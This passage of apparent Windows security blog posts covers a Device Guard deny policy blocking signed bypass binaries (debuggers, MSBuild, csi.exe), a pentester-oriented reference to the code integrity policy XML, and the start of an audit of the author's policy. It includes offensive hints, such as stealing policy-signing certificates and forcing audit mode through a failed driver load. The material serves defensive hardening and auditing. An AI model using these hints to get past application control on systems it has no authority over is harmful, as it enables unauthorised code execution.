# Extract just the file rules from the denial policy. We do this because I don't want to merge

# and possibly overwrite any policy rules from the reference policy.

<#

$Rules = Get-CIPolicy -FilePath $DenialPolicyFilePath

Merge-CIPolicy -OutputFilePath $MergedPolicyFilePath -PolicyPaths $ReferencePolicyFilePath -Rules $Rules

#>


# Deploy the new policy and reboot.

<#

ConvertFrom-CIPolicy -XmlFilePath $MergedPolicyFilePath -BinaryFilePath $DeployedPolicyPath

#>


So in the code above, to generate the policy, we specified the location where the offending binaries were installed. In reality, they can be in any directory and you can generate this deny policy on any machine. In other words, you’re not required to generate it on the machine that will have the code integrity policy deployed. That directory is then scanned. You need to filter out the specific binaries that you want to deny and merge the deny policy with a reference policy and redeploy. Once you’ve redeployed the policy, you will want to validate its efficacy. To validate it, I would ensure the following:

  1. Both the x86 and x64 version of the binary are blocked.
  2. At least two versions of each binary (for each architecture) are blocked.

So, for example, to validate that the signed cdb.exe can no longer execute, be sure to obtain two versions of cdb.exe and have a 32-bit and 64-bit build of each version.


It is unfortunately kind of a hack to have to manually modify the policy XML to specify an arbitrarily large version number. Ideally, in a future version of Device Guard, Microsoft would allow you to specify a wildcard that would imply that the deny rule would apply to all versions of the binary. In the meantime, this hack seems to get the job done. What’s great about this simple workflow is that as new bypasses come out, you can just keep adding deny rules to an all-encompassing Device Guard bypass code integrity policy! In fact, I plan on maintaining such a bypass-specific CI policy on GitHub in the near future.


Now, I’ve done a decent amount of testing of this mitigation, which I consider to be effective and not difficult to implement. I encourage everyone out there to poke holes in my theory, though. And if you discover a bypass for my mitigation, please be a good citizen and let the world know! I hope these posts are continuing to pique your interest in this important technology!


For reference, here is the policy that was generated based on the code above. Note that while there are explicit file paths in the generated policy, the deny rules apply regardless of where the binaries are located on disk.



<?xml version="1.0" encoding="utf-8"?>

<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">

  <VersionEx>10.0.0.0</VersionEx>

  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>

  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>

  <Rules>

    <Rule>

      <Option>Enabled:Unsigned System Integrity Policy</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Audit Mode</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Advanced Boot Options Menu</Option>

    </Rule>

    <Rule>

      <Option>Required:Enforce Store Applications</Option>

    </Rule>

    <Rule>

      <Option>Enabled:UMCI</Option>

    </Rule>

  </Rules>

  <!--EKUS-->

  <EKUs />

  <!--File Rules-->

  <FileRules>

    <FileAttrib ID="ID_FILEATTRIB_F_1" FriendlyName="C:\Program Files\Windows Kits\10\Debuggers\x64\cdb.exe FileAttribute" FileName="CDB.Exe" MinimumFileVersion="65535.65535.65535.65535" />

    <FileAttrib ID="ID_FILEATTRIB_F_2" FriendlyName="C:\Program Files\Windows Kits\10\Debuggers\x64\kd.exe FileAttribute" FileName="kd.exe" MinimumFileVersion="65535.65535.65535.65535" />

    <FileAttrib ID="ID_FILEATTRIB_F_3" FriendlyName="C:\Program Files\Windows Kits\10\Debuggers\x64\windbg.exe FileAttribute" FileName="windbg.exe" MinimumFileVersion="65535.65535.65535.65535" />

  </FileRules>

  <!--Signers-->

  <Signers>

    <Signer ID="ID_SIGNER_F_1" Name="Microsoft Code Signing PCA">

      <CertRoot Type="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

      <CertPublisher Value="Microsoft Corporation" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_1" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_2" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_3" />

    </Signer>

    <Signer ID="ID_SIGNER_F_2" Name="Microsoft Code Signing PCA 2010">

      <CertRoot Type="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

      <CertPublisher Value="Microsoft Corporation" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_1" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_2" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_3" />

    </Signer>

  </Signers>

  <!--Driver Signing Scenarios-->

  <SigningScenarios>

    <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1" FriendlyName="Auto generated policy on 09-07-2016">

      <ProductSigners />

    </SigningScenario>

    <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="Auto generated policy on 09-07-2016">

      <ProductSigners>

        <DeniedSigners>

          <DeniedSigner SignerId="ID_SIGNER_F_1" />

          <DeniedSigner SignerId="ID_SIGNER_F_2" />

        </DeniedSigners>

      </ProductSigners>

    </SigningScenario>

  </SigningScenarios>

  <UpdatePolicySigners />

  <CiSigners>

    <CiSigner SignerId="ID_SIGNER_F_1" />

    <CiSigner SignerId="ID_SIGNER_F_2" />

  </CiSigners>

  <HvciOptions>0</HvciOptions>

</SiPolicy>

Windows Device Guard Code Integrity Policy Reference

One of the more obvious ways to circumvent Device Guard deployments is by exploiting code integrity policy misconfigurations. The ability to effectively audit deployed policies requires a thorough comprehension of the XML schema used by Device Guard. This post is intended to serve as documentation of the XML elements of a Device Guard code integrity policy with a focus on auditing from the perspective of a pentester. And do note that the schema used by Microsoft is not publicly documented and subject to change in future versions. If things change, expect an update from me.
As a reminder, deployed code integrity policies are stored in %SystemRoot%\System32\CodeIntegrity\SIPolicy.p7b in binary form. If you're lucky enough to track down the original XML code integrity policy, you can validate that it matches the deployed SIPolicy.p7b by converting it to binary form with ConvertFrom-CIPolicy and then comparing the hashes with Get-FileHash. If you are unable to locate the original XML policy, you can recover an XML policy with the ConvertTo-CIPolicy function I wrote. Note, however that ConvertTo-CIPolicy cannot recover all element ID and FriendlyName attributes as the process of converting to binary form is a lossy process, unfortunately.
For reference, here are some code integrity policies that I personally use. Obviously, yours will be different in your environment.
Policies are generated initially using the New-CiPolicy cmdlet.
The current (but subject to change) code integrity schema can be found here. This was pulled out from an embedded resource in the ConfigCI cmdlets - Microsoft.ConfigCI.Commands.dll.
What will follow is a detailed breakdown of most code integrity policy XML elements that you may encounter while auditing Device Guard deployments. Hopefully, at some point in the future, Microsoft will provide such documentation. In the mean time, I hope this is helpful! In a future post, I will conduct an actual code integrity policy audit and identify potential vulnerabilities that would allow for unsigned code execution.

VersionEx
Default value: 10.0.0.0
Purpose: An admin can set this to perform versioning of updated CI policies. This is what I do in BypassDenyPolicy.xml. VersionEx can be set programmatically with Set-CIPolicyVersion.

PolicyTypeID

Default value: {A244370E-44C9-4C06-B551-F6016E563076}
Purpose: Unknown. This value is automatically generated upon calling New-CIPolicy. Unless Microsoft decides to change things, this value should always remain the same.

PlatformID
Default value: {2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}
Purpose: Unknown. This value is automatically generated upon calling New-CIPolicy. Unless Microsoft decides to change things, this value should always remain the same.

Rules

The Rules element consist of multiple child Rule elements. A Rule element refers to a specific policy rule option - i.e. a specific configuration of Device Guard. Some, but not all of these options are documented. Policy rule options are configured with the Set-RuleOption cmdlet.

Documented and/or publicly exposed policy rules

1) Enabled:UMCI
Description: Enforces user-mode code integrity for user mode binaries, PowerShell scripts, WSH scripts, and MSIs. The absence of this policy rule implies that whitelist/blacklist rules will only apply to drivers.
Operational impact: User mode binaries and MSIs not explicitly whitelisted will not execute. PowerShell will be placed into ConstrainedLanguage mode. Whitelisted, signed scripts have no restrictions and run in FullLanguage mode. WSH scripts (VBScript and JScript) not whitelisted per policy are unable to instantiate COM/ActiveX objects. Signed scripts whitelisted by policy have no such restrictions.
2) Required:WHQL
Description: Drivers must be Windows Hardware Quality Labs (WHQL) signed. Drivers signed with a WHQL certificate are indicated by a "Windows Hardware Driver Verification" EKU (1.3.6.1.4.1.311.10.3.5) in their certificate.
Operational impact: This will raise the bar on the quality (and arguably the trustworthiness) of the drivers that will be allowed to execute.
3) Disabled:Flight Signing
Description: Disable loading of flight signed code. These are used most commonly with Insider Preview builds of Windows. A flight signed binary/script is one that is signed by a Microsoft certificate and has the "Preview Build Signing" EKU (1.3.6.1.4.1.311.10.3.27) applied. Thanks to Alex Ionescu for confirming this.
Operational Impact: Preview build binaries/scripts will not be allowed to load. In other words, if you're on a WIP build, don't expect your OS to function properly.
4) Enabled:Unsigned System Integrity Policy
Description: If present, the code integrity policy does not have to be signed with a code signing certificate. The absence of this rule option indicates that the code integrity policy must be signed by a whitelisted signer as indicated in the UpdatePolicySigners section below.
Operational Impact: Once signed, deployed code integrity options can only be updated by signing a new policy with a whitelisted certificate. Even an admin cannot remove deployed, signed code integrity policies. If modifying and redeploying a signed code integrity policy is your goal, you will need to steal one of the whitelisted UpdatePolicySigners code signing certificates.
5) Required:EV Signers
Description: All drivers must be EV (extended validation) signed.
Operational Impact: This will likely not be present as most 3rd party and OEM drivers are not EV signed. Supposedly, Microsoft is mandating that all drivers be EV signed starting with Windows 10 Anniversary Update. From my observation, this does not appear to be the case.
6) Enabled:Advanced Boot Options Menu
Description: By default, with a code integrity policy deployed, the advanced boot options menu is disabled.
Operational Impact: With this option present, the menu is available to someone with physical access. There are additional concerns associated with physical access to a Device Guard enabled system. Such concerns may be covered in a future blog post.
7) Enabled:Boot Audit On Failure
Description: If a driver fails to load during the boot process due to an overly restrictive code integrity policy, the system will be placed into audit mode for that session.
Operational Impact: If you could somehow get a driver to fail to load during the boot process, Device Guard would cease to be enforced.
8) Disabled:Script Enforcement
Description: This is not actually documented but listed with 'Set-RuleOption -Help'. You would think that this actually does what it says but in practice it doesn't. Even with this set, PowerShell and WSH remain locked down.
Operational Impact: None. It is unlikely that you would see this in production anyway.

Undocumented and/or not not publicly exposed policy rules

The following policy rule options are undocumented and it is unclear if they are supported or not. As of this writing, you will likely never see these options in a deployed policy.
  • Enabled:Boot Menu Protection
  • Enabled:Inherit Default Policy
  • Allowed:Prerelease Signers
  • Allowed:Kits Signers
  • Allowed:Debug Policy Augmented
  • Allowed:UMCI Debug Options
  • Enabled:UMCI Cache Data Volumes
  • Allowed:SeQuerySigningPolicy Extension
  • Enabled:Filter Edited Boot Options
  • Disabled:UMCI USN 0 Protection
  • Disabled:Winload Debugging Mode Menu
  • Enabled:Strong Crypto For Code Integrity
  • Allowed:Non-Microsoft UEFI Applications For BitLocker
  • Enabled:Always Use Policy
  • Enabled:UMCI Trust USN 0
  • Disabled:UMCI Debug Options TCB Lowering
  • Enabled:Inherit Default Policy
  • Enabled:Secure Setting Policy


EKUs
This can consist of a list of Extended/Enhanced Key usages that can be applied to signers. When applied to a signer rule, the EKU in the certificate must be present in the certificate used to sign the binary/script.
EKU instances have a "Value" attribute consisting of an encoded OID. For example, if you want to enforce WHQL signing, the "Windows Hardware Driver Verification" EKU (1.3.6.1.4.1.311.10.3.5) would need to be applied to those drivers. When encoded the "Value" attribute would be "010A2B0601040182370A0305" (where the first byte which would normally be 0x06 (absolute OID) is replaced with 0x01). The OID encoding process is described here. ConvertTo-CIPolicy decodes and resolves the original FriendlyName attribute for encoded OID values.

FileRules
These are rules specific to individual files based either on its hash or based on its filename (not on disk but from the embedded PE resource) and file version (again, from the embedded PE resource). FileRules can consist of the following types: FileAttrib, Allow, Deny. File rules can apply to specific signers or signing scenarios.
FileAttrib
These are used to reflect a user or kernel PE filename and minimum file version number. These can be used to either explicitly allow or block binaries based on filename and version.
Allow
These typically consist of just a file hash and is used to override an explicit deny rule. In practice, it is unlikely that you will see an Allow file rule.
Deny
These typically consist of just a file hash and are used to override whitelist rules when you want to block trusted code by hash.

Signers
This section consists of all of the signing certificates that will be applied to rules in the signing scenario section. Each signer entry is required to have a CertRoot property where the Value attribute refers to the hash of the cbData blob of the certificate. The hashing algorithm used is dependent upon the hashing algorithm specified in the certificate. This hash serves as the unique identifier for the certificate. The CertRoot "Type" attribute will almost always be "TBS" (to be signed). The "WellKnown" type is also possible but will not be common.
The signer element can have any of the following optional child elements:
CertEKU
One or more EKUs from the EKU element described above can be applied here. Ultimately, this would constrain a whitelist rule to code signed with certificates with specific EKUs, "Windows Hardware Driver Verification" (WHQL) probably being the most common.
CertIssuer
I have personally not seen this in practice but this will likely contain the common name (CN) of the issuing certificate.
CertPublisher
This refers to the common name (CN) of the certificate. This element is associated with the "Publisher" file rule level.
CertOemID
This is often associated with driver signers. This will often have a third party vendor name associated with a driver signed with a "Microsoft Windows Third Party Component CA" certificate. If CertOemIDs were not specified for the "Microsoft Windows Third Party Component CA" signer, then you would implicitly be whitelisting all 3rd party drivers signed by Microsoft.
FileAttribRef
There may be one or more references to FileAttrib rules where the signer rules apply only to the files referenced.

SigningScenarios
When auditing Code Integrity policies, this is where you will want to start your audit and then work backwards. It contains all the enforcement rules for drivers and user mode code. Signing scenarios consist of a combination of the individual elements discussed previously. There will almost always be two Signing scenario elements present:
  1. <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1"> - This scenario will consist of zero or more rules related to driver loading.
  2. <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS"> - This scenario will consist of zero or more rules related to user mode binaries, scripts, and MSIs.

Each signing scenario can have up to three subelements:
  1. ProductSigners - This will comprise all of the code integrity rules for drivers or user mode code depending upon the signing scenario.
  2. TestSigners - You will likely never encounter this. The purpose of this signing scenario is unclear.
  3. TestSigningSigners - You will likely never encounter this. The purpose of this signing scenario is unclear.

Each signers group (ProductSigners, TestSigners, or TestSigningSigners) may consist of any of the following subelements:
Allowed signers
These are the whitelisted signer rules. These will consist of one or more signer rules and optionally, one or more ExceptDenyRules which link to specific file rules making the signer rule conditional. In practice, ExceptDenyRules will likely not be present.
Denied signers
These are the blacklisted signer rules. These rules will always take priority over allow rules. These will consist of one or more signer rules and optionally, one or more ExceptAllowRules which link to specific file rules making the signer rule conditional. In practice, ExceptAllowRules will likely not be present.
FileRulesRef
These will consist of individual file allow or deny rules. For example, if there are individual files to be blocked by hash, such rules will be included here.

UpdatePolicySigners
If policy signing is required as indicated by the absence of the "Enabled:Unsigned System Integrity Policy" policy rule option, a deployed policy must be signed by the signers indicated here. The only way to modify a deployed policy in this case would be to resign the policy with one of these certificates. UpdatePolicySigners is updated using the Add-SignerRule cmdlet.
If a binary policy (SIPolicy.p7b) is signed, you can validate signature with Get-CIBinaryPolicyCertificate.

CISigners
These will consist of mirrored signing rules from the ID_SIGNINGSCENARIO_WINDOWS signing scenario. These are related to the trusting of signers and signing levels by the kernel. These are auto-generated and not configurable via the ConfigCI PowerShell module. These entries should not be modified.

HvciOptions
This specifies the configured hypervisor code integrity (HVCI) option. HVCI implements several kernel exploitation mitigations including W^X kernel memory and restricts the ability to allocate any executable memory for code that isn't explicitly whitelisted. Basically, HVCI allows for the system to continue to enforce code integrity even if the kernel is compromised. HVCI settings are configured using the Set-HVCIOptions cmdlet.
Any combination of the following values are accepted:
0 - Non configured
1 - Enabled
2 - Strict mode
4 - Debug mode
HVCI is not well documented as of this writing. Here are a few references to it:
Outside of Microsoft, Alex Ionescu and Rafal Wojtczuk are experts on this subject.

Settings
Settings may consist of one or more provider/value pairs. These options are referred to internally as  "Secure Settings". It is unclear the range of possible values that can be set here. The only entry you might see would be a PolicyInfo provider setting where a user can specify an explicit Name and Id for the code integrity policy which would be reflected in Microsoft-Windows-CodeIntegrity/Operational events. PolicyInfo settings can be set with the Set-CIPolicyIdInfo cmdlet.

Device Guard Code Integrity Policy Auditing Methodology

In my previous blogpost, I provided a detailed reference of every component of a code integrity (CI) policy. In this post, I'd like to exercise that reference and perform an audit of a code integrity policy. We're going to analyze a policy that I had previously deployed to my Surface Pro 4 - final.xml.

<?xml version="1.0" encoding="utf-8"?>

<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">

  <VersionEx>10.0.0.0</VersionEx>

  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>

  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>

  <Rules>

    <Rule>

      <Option>Required:Enforce Store Applications</Option>

    </Rule>

    <Rule>

      <Option>Enabled:UMCI</Option>

    </Rule>

    <Rule>

      <Option>Disabled:Flight Signing</Option>

    </Rule>

    <Rule>

      <Option>Required:WHQL</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Unsigned System Integrity Policy</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Advanced Boot Options Menu</Option>

    </Rule>

  </Rules>

  <!--EKUS-->

  <EKUs />

  <!--File Rules-->

  <FileRules>

    <FileAttrib ID="ID_FILEATTRIB_F_1_0_0_1_0_0" FriendlyName="cdb.exe" FileName="CDB.Exe" MinimumFileVersion="99.0.0.0" />

    <FileAttrib ID="ID_FILEATTRIB_F_2_0_0_1_0_0" FriendlyName="kd.exe" FileName="kd.exe" MinimumFileVersion="99.0.0.0" />

    <FileAttrib ID="ID_FILEATTRIB_F_3_0_0_1_0_0" FriendlyName="windbg.exe" FileName="windbg.exe" MinimumFileVersion="99.0.0.0" />

    <FileAttrib ID="ID_FILEATTRIB_F_4_0_0_1_0_0" FriendlyName="MSBuild.exe" FileName="MSBuild.exe" MinimumFileVersion="99.0.0.0" />

    <FileAttrib ID="ID_FILEATTRIB_F_5_0_0_1_0_0" FriendlyName="csi.exe" FileName="csi.exe" MinimumFileVersion="99.0.0.0" />

  </FileRules>

  <!--Signers-->

  <Signers>

    <Signer ID="ID_SIGNER_S_1_0_0_0_0_0_0_0" Name="Microsoft Windows Production PCA 2011">

      <CertRoot Type="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

    </Signer>

    <Signer ID="ID_SIGNER_S_AE_0_0_0_0_0_0_0" Name="Intel External Basic Policy CA">

      <CertRoot Type="TBS" Value="53B052BA209C525233293274854B264BC0F68B73" />

    </Signer>

    <Signer ID="ID_SIGNER_S_AF_0_0_0_0_0_0_0" Name="Microsoft Windows Third Party Component CA 2012">

      <CertRoot Type="TBS" Value="CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46" />

    </Signer>

    <Signer ID="ID_SIGNER_S_17C_0_0_0_0_0_0_0" Name="COMODO RSA Certification Authority">

      <CertRoot Type="TBS" Value="7CE102D63C57CB48F80A65D1A5E9B350A7A618482AA5A36775323CA933DDFCB00DEF83796A6340DEC5EBF7596CFD8E5D" />

    </Signer>

    <Signer ID="ID_SIGNER_S_18D_0_0_0_0_0_0_0" Name="Microsoft Code Signing PCA 2010">

      <CertRoot Type="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

    </Signer>

    <Signer ID="ID_SIGNER_S_2E0_0_0_0_0_0_0_0" Name="VeriSign Class 3 Code Signing 2010 CA">

      <CertRoot Type="TBS" Value="4843A82ED3B1F2BFBEE9671960E1940C942F688D" />

    </Signer>

    <Signer ID="ID_SIGNER_S_34C_0_0_0_0_0_0_0" Name="Microsoft Code Signing PCA">

      <CertRoot Type="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

    </Signer>

    <Signer ID="ID_SIGNER_S_34F_0_0_0_0_0_0_0" Name="Microsoft Code Signing PCA 2011">

      <CertRoot Type="TBS" Value="F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E" />

    </Signer>

    <Signer ID="ID_SIGNER_S_37B_0_0_0_0_0_0_0" Name="Microsoft Root Certificate Authority">

      <CertRoot Type="TBS" Value="391BE92883D52509155BFEAE27B9BD340170B76B" />

    </Signer>

    <Signer ID="ID_SIGNER_S_485_0_0_0_0_0_0_0" Name="Microsoft Windows Verification PCA">

      <CertRoot Type="TBS" Value="265E5C02BDC19AA5394C2C3041FC2BD59774F918" />

    </Signer>

    <Signer ID="ID_SIGNER_S_1_1_0_0_0_0_0_0" Name="Microsoft Windows Production PCA 2011">

      <CertRoot Type="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

    </Signer>

    <Signer ID="ID_SIGNER_S_35C_1_0_0_0_0_0_0" Name="Microsoft Code Signing PCA">

      <CertRoot Type="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

    </Signer>

    <Signer ID="ID_SIGNER_S_35F_1_0_0_0_0_0_0" Name="Microsoft Code Signing PCA 2011">

      <CertRoot Type="TBS" Value="F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E" />

    </Signer>

    <Signer ID="ID_SIGNER_S_1EA5_1_0_0_0_0_0_0" Name="Microsoft Code Signing PCA 2010">

      <CertRoot Type="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

    </Signer>

    <Signer ID="ID_SIGNER_S_2316_1_0_0_0_0_0_0" Name="Microsoft Windows Verification PCA">

      <CertRoot Type="TBS" Value="265E5C02BDC19AA5394C2C3041FC2BD59774F918" />

    </Signer>

    <Signer ID="ID_SIGNER_S_3D8C_1_0_0_0_0_0_0" Name="Microsoft Code Signing PCA">

      <CertRoot Type="TBS" Value="7251ADC0F732CF409EE462E335BB99544F2DD40F" />

    </Signer>

    <Signer ID="ID_SIGNER_S_4_1_0_0_0" Name="Matthew Graeber">

      <CertRoot Type="TBS" Value="B1554C5EEF15063880BB76B347F2215CDB5BBEFA1A0EBD8D8F216B6B93E8906A" />

    </Signer>

    <Signer ID="ID_SIGNER_S_1_1_0" Name="Intel External Basic Policy CA">

      <CertRoot Type="TBS" Value="53B052BA209C525233293274854B264BC0F68B73" />

      <CertPublisher Value="Intel(R) Intel_ICG" />

    </Signer>

    <Signer ID="ID_SIGNER_S_2_1_0" Name="Microsoft Windows Third Party Component CA 2012">

      <CertRoot Type="TBS" Value="CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46" />

      <CertPublisher Value="Microsoft Windows Hardware Compatibility Publisher" />

    </Signer>

    <Signer ID="ID_SIGNER_S_19_1_0" Name="Intel External Basic Policy CA">

      <CertRoot Type="TBS" Value="53B052BA209C525233293274854B264BC0F68B73" />

      <CertPublisher Value="Intel(R) pGFX" />

    </Signer>

    <Signer ID="ID_SIGNER_S_20_1_0" Name="iKGF_AZSKGFDCS">

      <CertRoot Type="TBS" Value="32656594870EFFE75251652A99B906EDB92D6BB0" />

      <CertPublisher Value="IntelVPGSigning2016" />

    </Signer>

    <Signer ID="ID_SIGNER_S_4E_1_0" Name="Microsoft Windows Third Party Component CA 2012">

      <CertRoot Type="TBS" Value="CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46" />

    </Signer>

    <Signer ID="ID_SIGNER_S_65_1_0" Name="VeriSign Class 3 Code Signing 2010 CA">

      <CertRoot Type="TBS" Value="4843A82ED3B1F2BFBEE9671960E1940C942F688D" />

      <CertPublisher Value="Logitech" />

    </Signer>

    <Signer ID="ID_SIGNER_S_5_1_0_0_0" Name="Matthew Graeber">

      <CertRoot Type="TBS" Value="B1554C5EEF15063880BB76B347F2215CDB5BBEFA1A0EBD8D8F216B6B93E8906A" />

    </Signer>

    <Signer ID="ID_SIGNER_F_1_0_0_1_0_0" Name="Microsoft Code Signing PCA">

      <CertRoot Type="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

      <CertPublisher Value="Microsoft Corporation" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_1_0_0_1_0_0" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_2_0_0_1_0_0" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_3_0_0_1_0_0" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_4_0_0_1_0_0" />

    </Signer>

    <Signer ID="ID_SIGNER_F_2_0_0_1_0_0" Name="Microsoft Code Signing PCA 2010">

      <CertRoot Type="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

      <CertPublisher Value="Microsoft Corporation" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_1_0_0_1_0_0" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_2_0_0_1_0_0" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_3_0_0_1_0_0" />

    </Signer>

    <Signer ID="ID_SIGNER_F_3_0_0_1_0_0" Name="Microsoft Code Signing PCA 2011">

      <CertRoot Type="TBS" Value="F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E" />

      <CertPublisher Value="Microsoft Corporation" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_4_0_0_1_0_0" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_5_0_0_1_0_0" />

    </Signer>

    <Signer ID="ID_SIGNER_F_4_0_0_1_0_0" Name="Microsoft Windows Production PCA 2011">

      <CertRoot Type="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

      <CertPublisher Value="Microsoft Windows" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_4_0_0_1_0_0" />

    </Signer>

  </Signers>

  <!--Driver Signing Scenarios-->

  <SigningScenarios>

    <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1" FriendlyName="Kernel-mode rules">

      <ProductSigners>

        <AllowedSigners>

          <AllowedSigner SignerId="ID_SIGNER_S_1_0_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_AE_0_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_AF_0_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_17C_0_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_18D_0_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_2E0_0_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_34C_0_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_34F_0_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_37B_0_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_485_0_0_0_0_0_0_0" />

        </AllowedSigners>

      </ProductSigners>

    </SigningScenario>

    <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="User-mode rules">

      <ProductSigners>

        <AllowedSigners>

          <AllowedSigner SignerId="ID_SIGNER_S_1_1_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_1_1_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_2_1_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_4_1_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_19_1_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_20_1_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_4E_1_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_65_1_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_35C_1_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_35F_1_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_1EA5_1_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_2316_1_0_0_0_0_0_0" />

          <AllowedSigner SignerId="ID_SIGNER_S_3D8C_1_0_0_0_0_0_0" />

        </AllowedSigners>

        <DeniedSigners>

          <DeniedSigner SignerId="ID_SIGNER_F_1_0_0_1_0_0" />

          <DeniedSigner SignerId="ID_SIGNER_F_2_0_0_1_0_0" />

          <DeniedSigner SignerId="ID_SIGNER_F_3_0_0_1_0_0" />

          <DeniedSigner SignerId="ID_SIGNER_F_4_0_0_1_0_0" />

        </DeniedSigners>

      </ProductSigners>

    </SigningScenario>

  </SigningScenarios>

  <UpdatePolicySigners>

    <UpdatePolicySigner SignerId="ID_SIGNER_S_5_1_0_0_0" />

  </UpdatePolicySigners>

  <CiSigners>

    <CiSigner SignerId="ID_SIGNER_F_1_0_0_1_0_0" />

    <CiSigner SignerId="ID_SIGNER_F_2_0_0_1_0_0" />

    <CiSigner SignerId="ID_SIGNER_F_3_0_0_1_0_0" />

    <CiSigner SignerId="ID_SIGNER_F_4_0_0_1_0_0" />

    <CiSigner SignerId="ID_SIGNER_S_1_1_0" />

    <CiSigner SignerId="ID_SIGNER_S_1_1_0_0_0_0_0_0" />

    <CiSigner SignerId="ID_SIGNER_S_2_1_0" />

    <CiSigner SignerId="ID_SIGNER_S_4_1_0_0_0" />

    <CiSigner SignerId="ID_SIGNER_S_19_1_0" />

    <CiSigner SignerId="ID_SIGNER_S_20_1_0" />

    <CiSigner SignerId="ID_SIGNER_S_4E_1_0" />

    <CiSigner SignerId="ID_SIGNER_S_65_1_0" />

    <CiSigner SignerId="ID_SIGNER_S_35C_1_0_0_0_0_0_0" />

    <CiSigner SignerId="ID_SIGNER_S_35F_1_0_0_0_0_0_0" />

    <CiSigner SignerId="ID_SIGNER_S_1EA5_1_0_0_0_0_0_0" />

    <CiSigner SignerId="ID_SIGNER_S_2316_1_0_0_0_0_0_0" />

    <CiSigner SignerId="ID_SIGNER_S_3D8C_1_0_0_0_0_0_0" />

  </CiSigners>

  <HvciOptions>1</HvciOptions>

</SiPolicy>


A code integrity policy is only as good as the way in which it was configured. The only way to verify its effectiveness is with a thorough understanding of the policy schema and the intended deployment scenario of the policy all through the lens of an attacker. The analysis that I present, while subjective, will be thorough and well thought out based on the information I've learned about code integrity policy enforcement. The extent of my knowledge is driven by my experience with Device Guard thus far, Microsoft's public documentation, the talks I've had with the Device Guard team, and what I've reversed engineered.

